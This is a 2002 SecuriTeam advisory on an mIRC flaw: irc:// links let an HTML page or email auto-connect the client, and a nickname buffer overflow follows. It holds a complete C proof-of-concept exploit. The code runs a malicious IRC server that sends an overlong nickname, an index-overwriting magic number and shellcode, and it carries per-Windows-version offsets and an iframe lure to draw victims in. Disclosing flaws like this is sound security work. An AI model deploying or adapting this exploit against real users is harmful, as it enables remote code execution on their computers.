[EXPL] mIRC irc:// Vulnerability and Nickname Buffer Overflow

From: support@securiteam.com
Date: 02/03/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sun,  3 Feb 2002 21:28:22 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  mIRC irc:// Vulnerability and Nickname Buffer Overflow
------------------------------------------------------------------------

SUMMARY

IRC (Internet Relay Chat) is a virtual meeting place where people from all
over the world can meet and talk; you'll find the whole diversity of human
interests, ideas, and issues here, and you'll be able to participate in
group discussions on one of the many thousands of IRC channels, or just
talk in private to family or friends, wherever they are in the world. To
use IRC you need a small program like <http://www.mirc.co.uk/> mIRC, a
shareware IRC client for Windows. Two security vulnerabilities in the
product would allow a remote attacker to cause the mIRC program to execute
arbitrary code by causing it to first connect to a malicious server.

DETAILS

Vulnerable systems:
mIRC version 5.91
mIRC version 5.9
(All prior versions should be considered vulnerable)

irc:// Vulnerability:
An HTML page can cause mIRC to launch automatically. This includes HTML
e-mail when read from within Outlook Express. Under some circumstances
mIRC will automatically connect to the server specified within the HTML
page, other times mIRC will ask if the user wishes to open another copy of
mIRC or use the current one.

Details:
Just insert the following code into an HTML page or HTML e-mail.
<iframe src="irc://irc.example.com:6666">

Nickname buffer overflow:
mIRC assumes the current nickname of the client as sent by the server is
fewer than 100 characters long. mIRC stores the current and alternative
nickname as a static array. Sending a nickname over 200 characters long
allows overwriting of a key variable, the index to the current nickname.
The C code looks something like this

char nicks[2][100];
int currentnick;

//blah blah

void setnick(char *newnick) {
  strcpy(nicks[currentnick], newnick);
}

As you can overwrite currentnick, you can cause the strcpy to write to
anywhere in memory to a 100-byte precision. In addition, as mIRC allows us
to send nearly 1000 bytes into the buffer, that is quite a lot of space to
exploit.

The attacker does the following:
 * Gets the victim to connect to their server
 * Sends a message changing the nick of the victim to a nick overwriting
currentnick, to make it point to the stack.
 * Sends a message changing the nick of the victim, this time overwriting
EIP on the stack.

The attacker includes the shell code in either of the messages. There are
two ways currently known of overflowing this buffer, the first is to send:
NICK oldnick longlongnewnick

However, it has the problem that once it has been issued and currentnick
made to point to the stack the current nickname is unknown. The way to
solve this would be to kill the connection, let mIRC automatically
reconnect then fire the exploit (mIRC would send you the nickname).
However, this would rely on the "autoreconnect" feature.

The other method is to send the following:

:anything 001 longlongnick :anything

Mitigating factors:
 * mIRC has to be connected to the exploiting server. However the irc://
vulnerability pretty much cancels this.
 * The location of the stack varies throughout each Windows version.
However if the irc:// vulnerability was being used, Internet Explorer at
least sends the Windows version as a header.
 * The victim's version of mIRC must be known to be successful, this could
be obtained by issuing a CTCP version

Exploit:
/* Mirc buffer nickname buffer overflow proof of concept exploit.
   Author: James Martin
   Email: me@uuuppz.com
   Website: http://www.uuuppz.com

   This code is purely to demonstrate the risk posed by this flaw.
   It should not be used for malicious purposes. I do not accept
   any responsibility for any damage it may cause due to it use.

   This code compiles in Borland C++ 5.5 command line tools. Run it,
   and type /server 127.0.0.1 2680 (in mirc that is :P).

   This exploit could be modified to work on many editions of mirc
   running on all variants of windows. However due to the messing
   around that is required to place the return address on the stack
   It will work on:
   For the following do not #define EXPLOIT_2K
   Windows 98SE running Mirc 5.91
   Windows 98 running Mirc 5.91
   Windows ME running Mirc 5.91
   With exploit 2K defined it will exploit
   Windows 2K

   The basic concept of this overflow is as follows
   In memory mirc stores the following variables
   [Primarynick(100chars)][Alternativenick(100chars)][WhichNick[dword]]
   There is no length checking on the nickname returned to nick by the
server.
   There are two ways to exploit this
   a) Send the msg ":OLDCLIENTNICK NICK NEWCLIENTNICK"
   b) Send ":testserver 001 NEWNICKNAME :blah blah"

   I found method a) on the 24/10/2001 and reported this problem to the
author.
   Method b) was published by eSDee of hoepelkoe 23/10/2001 (completely
unknown to me!)
   very coincidental really.

   From debugging the code, it seems that this buffer is copied in several
places.
   So there maybe more places to exploit this than are currently known.

   I spent quite a bit of time analysing the hole, in the end I found
   the way to do it was, to overright WhichNick with a value, that would
   cause the currentnickname to reference the stack, then send another
nick
   name containing the new version of EIP to be overwritten on the stack.

   For this we need a magick number to be placed in currentnickname, this
number
   must satisfy the equation (magicknumber*100)+offset = location of
pushed eip. Also
   this magick number must not contain any zero bytes or spaces (value of
32). This
   works by exploiting the integer overflow concept.

   The following is the code which appears in mirc.
   imul ecx, WhichNick, 64h
   add ecx, offset PrimaryNick

   Unfortuantly the location of the stack varies between different
versions of windows.
   NT, Win2k, XP all have the stack in very similar positions but it does
move slightly.
   Win98,Win98SE, WinME all have the stack in EXACTLY the same position.
Windows 95 is
   different again. Hence having to do a #define for the os you wish to
exploit.

   This may seem like quite a large mitigating factor but in reality this
is very easy
   to overcome if you couple this exploit with a HTTP server which sends
out a page to
   cause mirc to load and attempt to connect to our evil server. As
Internet explorer,
   is nice enough to tell us exactly what OS is running! I think we can
blame MS for that
   one, talk about giving us a helping hand!
*/

#include<stdio.h>
#include<windows.h>
#include<winsock2.h>
#define SOCKADDRCAST struct sockaddr_in *

// This fuction binds a listenig socket
SOCKET openlistensocket(void) {
   SOCKET s;
   struct sockaddr_in SockAdr;

   // Get a new socket
   s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   // Set the ip add ress we are going to bind to
   memset(&SockAdr, 0, sizeof(SockAdr));
   SockAdr.sin_addr.s_addr = inet_addr("0.0.0.0") ;
   SockAdr.sin_family=AF_INET;
   SockAdr.sin_port=htons(2680);

   printf("2: Starting\n");
   // Attempt to bind socket
   if(bind(s, (SOCKADDRCAST)&SockAdr, sizeof(SockAdr))) {
      // Failed free socket and return -1
      printf("Failed to open, %u\n",WSAGetLastError());

      closesocket(s);
      return(-1);
   } else // Success listen on socket
      if(listen(s, 10)!=SOCKET_ERROR)
        return(s);
      else {
        printf("Failed to open listen socket (listen,
%u)\n",WSAGetLastError());

        closesocket(s);
        return(-1);
      }
}

// Shell code, this just launches an executable
// specifid following the shell code. Currently
// it does not clean up properly, so mirc will
// crash.
char shellcode[44] = {
0x6A,0x01,0xB8,0xBF,
0x74,0x55,0x44,0xC1,
0xE0,0x08,0xC1,0xE8,
0x08,0x50,0xB8,0x50,
0x90,0x54,0x44,0xC1,
0xE0,0x08,0xC1,0xE8,
0x08,0xFF,0xd0,0x33,
0xDB,0x53,0xB8,0x10,
0x8e,0x54,0x44,0xc1,
0xe0,0x08,0xc1,0xe8,
0x08,0xff,0xd0,0x00};

#define EXPLOI_9x

#define MAGICNUMBER_NT 0x28eb207
#define MAGICNUMBER_2K 0x28eb205
#define MAGICNUMBER_XP 0x28eb205
#define MAGICNUMBER_9x 0x28Fc909
#define OFFSET_NT 20
#define OFFSET_2K 84
#define OFFSET_XP 12
#define OFFSET_9x 180
#define OFFSET_95 184

#ifdef EXPLOIT_NT
 #define MAGICNUMBER MAGICNUMBER_NT
 #define OFFSET OFFSET_NT
#else
 #ifdef EXPLOIT_2K
  #define MAGICNUMBER MAGICNUMBER_2K
  #define OFFSET OFFSET_2K
 #else
  #ifdef EXPLOIT_XP
   #define MAGICNUMBER MAGICNUMBER_XP
   #define OFFSET OFFSET_XP
  #else
   #define MAGICNUMBER MAGICNUMBER_9x
   #ifdef EXPLOIT_95
     #define OFFSET OFFSET_95
   #else
     #define OFFSET OFFSET_9x
   #endif
  #endif
 #endif
#endif

// Our main function
void main() {
  SOCKET s,client;
  char buf1[300],
       buf2[190],
       buf3[1500];
  /* Perform winsock startup */
  WORD wVersionRequested;
  WSADATA wsaData;
  HANDLE h;
  int wsErr;
  int len, *i;
   struct sockaddr_in SockAdr;

  wVersionRequested = MAKEWORD( 1, 1 );
  wsErr = WSAStartup( wVersionRequested, &wsaData );
  printf("1: Initialising %u\n",wsErr);
  if ( wsErr != 0 ) {
    /* Tell the user that we couldn't find a usable */
    /* WinSock DLL. */
    printf("Failed to start winsock exiting\n");
    return;
  }

  // Open Listen Socket
  s = openlistensocket();

  // Accept a connection
  len = sizeof(SockAdr);
  client = accept(s, &SockAdr, &len);
  printf("Accepted\n");

  // Init the two exploit buffers.
  memset(buf1, 'X', sizeof(buf1));
  memset(buf2, 'Y', sizeof(buf1));
  buf1[204] = 0;
  buf2[OFFSET+3] = 0;

  // Set the return address to be poped onto the stack
  buf2[OFFSET] = 0x94;
  buf2[OFFSET+1] = 0x74;
  buf2[OFFSET+2] = 0x55;

  // Set our little magic number
  i = (int *)(buf1+200);
  *i = MAGICNUMBER;

  // Build the exploit string
  sprintf(buf3, ":testserver 001 %s%scalc.exe :ddd\n:testserver 001 %s
:x\n:testserver 001 test :x\n", buf1,shellcode,buf2);

  // Send it
  send(client, buf3, strlen(buf3),0);

  // Wait
  printf("Waiting\n");
  Sleep(10000);

  // Cleanup
  closesocket(client);
  closesocket(s);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:uuuppz@phishy.net> James
Martin and eSDee.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: Q328691 ?
    ... secedit.bat did NOT change the security policies. ... the actual text (mirc script) file that caused the problems... ... sure if the mirc client has been modified... ...
    (Incidents)
  • Re: Question about mIRC security
    ... need to know what kind of security issues I should address first. ... Not using mIRC. ... I also maintain a monthly backup ... you really don't understand what IRC is? ...
    (alt.computer.security)
  • Re: firewalled mirc howto?
    ... security of your own place. ... First two don't actually consern me, but mirc does. ... >>So maybe they blocked ports that mirc usually uses, ... > This group is not for discussing how to circumvent firewalls, ...
    (comp.security.firewalls)
  • Re: Question about mIRC security
    ... need to know what kind of security issues I should address first. ... Not using mIRC. ... ZoneAlarm for my firewall. ... ZoneAlarm is no firewall, it's a host-based packet filter and a pretty ...
    (alt.computer.security)